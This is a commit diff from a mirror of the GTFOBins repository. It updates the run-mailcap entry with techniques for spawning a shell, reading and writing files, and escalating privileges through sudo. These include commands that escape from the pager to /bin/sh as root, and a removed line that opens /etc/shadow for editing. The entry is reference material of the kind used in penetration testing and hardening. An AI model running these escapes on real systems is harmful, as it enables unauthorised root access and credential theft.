mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
parent
892949d4af
commit
f111f3e261
@ -1,7 +1,22 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
|
shell:
|
||||||
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: |
|
||||||
|
run-mailcap --action=view /etc/hosts
|
||||||
|
!/bin/sh
|
||||||
|
file-read:
|
||||||
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
code: run-mailcap --action=view file_to_read
|
||||||
|
file-write:
|
||||||
|
- description: |
|
||||||
|
The file must exist and be not empty.
|
||||||
|
|
||||||
|
This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.
|
||||||
|
code: run-mailcap --action=edit file_to_read
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
sudo run-mailcap --action=edit /etc/shadow
|
code: |
|
||||||
:shell
|
sudo run-mailcap --action=view /etc/hosts
|
||||||
|
!/bin/sh
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user